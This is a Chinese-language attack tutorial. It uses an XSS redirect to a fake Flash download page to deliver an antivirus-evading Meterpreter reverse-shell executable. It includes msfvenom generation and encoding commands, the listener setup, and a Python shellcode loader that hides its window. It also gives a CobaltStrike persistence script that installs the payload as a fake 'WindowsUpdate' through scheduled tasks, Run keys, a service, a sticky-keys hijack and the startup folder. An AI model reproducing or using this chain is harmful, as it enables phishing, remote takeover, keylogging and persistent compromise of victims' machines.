利用XSS跳转至伪造的Flash下载界面下载构造好的免杀马
XSS构造 url跳转
1 2 3 4 <script > alert("您的当前的Flash Player版本过低,为确保正常使用此功能,请安装更高版本的Flash Player" ); window .location.href="http://xxxxx/flash.html" ;</script > 
 
提示版本过低并跳转至下载界面
flash.html内容从 https://www.flash.cn/  中copy
MSF免杀马 生成普通远控马
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.168 LPORT=12345 -f exe > msf.exe 
 
普通的马很容易就被检测并被删除
1 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.153.168 lport=11206 -f exe > msf.exe 
 
-e选择制定编码器,-i编码次数,-b去除多余/坏字符,编码次数越多,Payload字符越多
(PS:编码次数太多也会被检测,例如火绒会直接检测出代码混淆器)
可选择多种编码方式,使用如下命令可列出支持的编码
 
编译后修改图标为Flash图标
msf开启监听
1 2 3 4 5 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.153.168 set lport 11206 exploit 
 
使用CobaltStrike 在攻击中选择
生成Python的Payload(python2)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from  ctypes import  *import  ctypesbuf = "xxx"   PROT_READ = 1  PROT_WRITE = 2  PROT_EXEC = 4  def  executable_code (buffer) :   buf = c_char_p(buffer)    size = len(buffer)    addr = libc.valloc(size)    addr = c_void_p(addr)    if  0  == addr:         raise  Exception("Failed to allocate memory" )    memmove(addr, buf, size)    if  0  != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):        raise  Exception("Failed to set protection on buffer" )    return  addr VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc VirtualProtect = ctypes.windll.kernel32.VirtualProtect shellcode = bytearray(buf) whnd = ctypes.windll.kernel32.GetConsoleWindow()    if  whnd != 0 :      if  666 ==666 :              ctypes.windll.user32.ShowWindow(whnd, 0 )                 ctypes.windll.kernel32.CloseHandle(whnd) print  ".................................." *666 memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0 ),                                        ctypes.c_int(len(shellcode)),                                          ctypes.c_int(0x3000 ),                                          ctypes.c_int(0x40 )) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) old = ctypes.c_long(1 ) VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40 ,ctypes.byref(old)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),                                     buf,                                     ctypes.c_int(len(shellcode))) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell() 
 
生成Payload.exe
CobaltStrike进入beacon
执行sleep 0
等待时间设为0
screenshoot 截图,可在视图的屏幕截图查看
keylogger 键盘记录 可在视图的键盘记录查看
脚本管理器可以加载脚本
这里用到了PrivilegeHelper.cna
文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 popup beacon_bottom { 	menu "权限维持" { 		item "设置路径" { 			local('$bid'); 			foreach $bid ($1){ 				prompt_text("filePath", $filePath, { 					$filePath = $1; 					return $filePath; 				}); 			} 		} 		item "隐藏文件" { 			local('$bid'); 			foreach $bid ($1){ 				bshell($1, "attrib \"$filePath\" +s +h"); 			} 		} 		item "定时任务" { 			local('$bid'); 			foreach $bid ($1){ 				bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1"); 			} 		} 		item "注册表"{ 			local('$bid'); 			foreach $bid ($1){ 				bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f"); 			} 		} 		item "SC服务"{ 			local('$bid'); 			foreach $bid ($1){ 				bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate"); 			} 		} 		item "shift启动"{ 			local('$bid'); 			foreach $bid ($1){ 				bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&© \"$filePath\" C:\\windows\\system32\\sethc.exe /y"); 			} 		} 		item "自启动目录"{ 			local('$bid'); 			foreach $bid ($1){ 				bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y"); 				bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h"); 			} 		} 		item "懒人攻略" { 			local('$bid'); 			foreach $bid ($1){ 				bshell($1, "attrib \"$filePath\" +s +h"); 				bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1"); 				bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f"); 				bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate"); 				bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&© \"$filePath\" C:\\windows\\system32\\sethc.exe /y"); 				bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y"); 				bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h"); 			} 		} 	} } 
 
隐藏文件 
attrib  命令是对文件或文件夹添加或删除属性, 文件添加和删除文件属性, 可以该变一个文件的执行状态, 比如一个文本文档 ( xxx.txt ) 将这个 xxx.txt 设为只读属性, 那这个文件就无法进行写入, 只可以读取,  —-百度百科
 
attrib可以改变文件及文件夹的属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 attrib  /?显示或更改文件属性。 ATTRIB  [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U]       [drive:][path ][filename] [/S [/D]] [/L]   +   设置属性。   -   清除属性。   R   只读文件属性。   A   存档文件属性。   S   系统文件属性。   H   隐藏文件属性。   O   脱机属性。   I   无内容索引文件属性。    X   无清理文件属性。   V   完整性属性。   P   固定属性。   U   非固定属性。   [drive:][path ][filename]       指定属性要处理的文件。   /S  处理当前文件夹及其所有子文件夹中       的匹配文件。   /D  也处理文件夹。   /L  处理符号链接和       符号链接目标的属性 
 
很容易看出来
 
是为一个文件加上系统文件属性同时设置为隐藏
此时只有使用
 
才可以看到隐藏文件
定时任务 
schtasks 是安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 schtasks /? SCHTASKS /parameter [arguments] 描述:     允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任     务。 参数列表:     /Create         创建新计划任务。     /Delete         删除计划任务。     /Query          显示所有计划任务。     /Change         更改计划任务属性。     /Run            按需运行计划任务。     /End            中止当前正在运行的计划任务。     /ShowSid        显示与计划的任务名称相应的安全标识符。     /?              显示此帮助消息。 Examples:     SCHTASKS      SCHTASKS  /?     SCHTASKS  /Run  /?     SCHTASKS  /End  /?     SCHTASKS  /Create  /?     SCHTASKS  /Delete  /?     SCHTASKS  /Query   /?     SCHTASKS  /Change  /?     SCHTASKS  /ShowSid  /? 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 SCHTASKS /Create /?     /TN   taskname     以路径\名称形式指定                        对此计划任务进行唯一标识的字符串。     /TR   taskrun      指定在这个计划时间运行的程序的路径                        和文件名。                        例如: C:\windows\system32\calc.exe     /MO   modifier     改进计划类型以允许更好地控制计划重复                        周期。有效值列于下面“修改者”部分中。    /RU/XML    /SC   schedule     指定计划频率。                        有效计划任务:  MINUTE、 HOURLY、DAILY、WEEKLY、                        MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. 修改者: 按计划类型的 /MO 开关的有效值:     MINUTE:  1 到 1439 分钟。     HOURLY :  1 - 23 小时。     DAILY :   1 到 365 天。     WEEKLY :  1 到 52 周。     ONCE :    无修改者。     ONSTART : 无修改者。     ONLOGON : 无修改者。     ONIDLE :  无修改者。     MONTHLY : 1 到 12,或              FIRST , SECOND , THIRD , FOURTH , LAST , LASTDAY 。     ONEVENT :  XPath  事件查询字符串。 
 
1 schtasks /create /tn WindowsUpdate /tr filePath /sc minute /mo 1  
 
即为创建计划任务”WindowsUpdate”,每分钟运行filepath
注册表 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 reg add /? REG ADD KeyName [/v ValueName | /ve] [/t Type ] [/s Separator] [/d Data] [/f]         [/reg:32  | /reg:64 ]   KeyName  [\\Machine\]FullKey            Machine  远程机器名 - 忽略默认到当前机器。远程机器上                     只有 HKLM 和 HKU 可用。            FullKey  ROOTKEY\SubKey            ROOTKEY  [ HKLM | HKCU | HKCR | HKU | HKCC ]            SubKey   所选 ROOTKEY 下注册表项的完整名称。   /v       所选项之下要添加的值名称。   /ve      为注册表项添加空白值名称(默认)。   /t       RegKey 数据类型            [ REG_SZ    | REG_MULTI_SZ | REG_EXPAND_SZ |              REG_DWORD | REG_QWORD    | REG_BINARY    | REG_NONE ]            如果忽略,则采用 REG_SZ。   /s       指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符            如果忽略,则将 "\0 " 用作分隔符。   /d       要分配给添加的注册表 ValueName 的数据。   /f       不用提示就强行覆盖现有注册表项。 
 
1 reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d filePath /f 
 
则为为
1 HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 
 
强制添加一个值为filename的数据
而HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run是控制计算机启动项的注册表信息
sc创建服务 1 2 3 4 5 描述:         SC 是用来与服务控制管理器和服务进行通信         的命令行程序。 用法:         sc <server> [command] [service name] <option1> <option2>... 
 
1 2 3 sc create "WindowsUpdate" binpath= "cmd  /c start  C:\test.exe"; sc config "WindowsUpdate" start = auto net  start  WindowsUpdate
 
因为本地测试失败了就没深入探究